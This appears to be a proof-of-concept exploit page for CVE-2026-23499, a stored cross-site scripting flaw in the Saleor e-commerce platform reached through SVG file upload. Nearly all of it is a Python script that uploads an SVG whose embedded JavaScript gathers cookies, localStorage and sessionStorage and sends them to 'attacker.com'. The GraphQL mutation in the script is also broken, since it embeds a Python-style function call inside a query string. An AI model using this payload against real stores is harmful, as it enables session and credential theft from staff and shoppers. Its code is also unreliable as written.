CVE-2026-23499: Saleor电商平台任意文件上传导致存储型XSS漏洞

# CVE-2026-23499 PoC - Malicious SVG File Upload # This PoC demonstrates how an authenticated attacker can upload a malicious SVG file # containing JavaScript code that will be executed in victims' browsers. import requests import json TARGET_URL = "https://vulnerable-saleor-instance.com" API_ENDPOINT = f"{TARGET_URL}/graphql/" # Authentication token (Staff user or App token) AUTH_TOKEN = "your_auth_token_here" # Malicious SVG payload that steals cookies/tokens MALICIOUS_SVG = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // Steal authentication tokens and send to attacker server var tokens = { cookies: document.cookie, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage), referrer: document.referrer, url: window.location.href }; // Send stolen data to attacker's endpoint fetch('https://attacker.com/collect?data=' + btoa(JSON.stringify(tokens))); </script> </svg>''' def upload_malicious_file(): """Upload malicious SVG file via GraphQL mutation""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # GraphQL mutation for file upload (simplified) mutation = """ mutation { fileUpload(input: { url: "data:image/svg+xml;base64," + base64_encode(MALICIOUS_SVG) }) { uploadedFile { url } } } """ response = requests.post(API_ENDPOINT, headers=headers, json={"query": mutation}) if response.status_code == 200: result = response.json() malicious_url = result.get("data", {}).get("fileUpload", {}).get("uploadedFile", {}).get("url") print(f"[+] Malicious file uploaded successfully!") print(f"[+] Malicious URL: {malicious_url}") print(f"[+] When victims visit this URL, the JavaScript will execute in their browser context") return malicious_url else: print(f"[-] Upload failed: {response.text}") return None if __name__ == "__main__": print("CVE-2026-23499 - Saleor Arbitrary File Upload leading to Stored XSS") print("=" * 70) upload_malicious_file()